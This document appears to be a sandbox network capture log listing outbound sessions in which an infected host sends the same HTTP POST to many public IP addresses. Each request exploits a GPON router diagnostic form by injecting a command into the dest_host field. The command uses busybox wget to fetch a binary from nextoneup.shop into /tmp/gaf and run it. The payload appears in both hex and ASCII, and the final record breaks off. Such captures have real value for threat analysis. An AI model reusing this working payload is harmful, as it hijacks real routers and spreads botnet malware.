193	192.168.2.23	58102	117.174.137.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116332054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	50838	117.154.243.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116403103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	50862	2.64.136.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116424084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	47600	178.16.185.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116466045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	57410	37.179.169.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116591930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	42226	79.246.121.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116640091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	34946	202.31.236.75	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116708994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	58584	118.177.169.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116719961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	48140	5.197.160.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116830111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	43350	5.139.74.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116839886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	44774	37.101.227.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116839886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	46054	117.112.218.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.116858959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	50918	148.20.156.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117031097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	60324	109.183.54.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117054939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	48782	178.63.234.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117104053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	54938	123.39.200.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117186069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	57588	2.191.20.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117196083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	51782	42.227.169.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117197990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	55302	118.69.172.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117264032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	53816	5.92.197.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117264986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	47708	210.104.214.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117393970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	56342	123.119.110.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117455006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	44528	210.31.235.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117511034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	57138	94.86.12.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117522955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	38018	37.176.67.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117583036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	50116	210.189.112.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117619038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 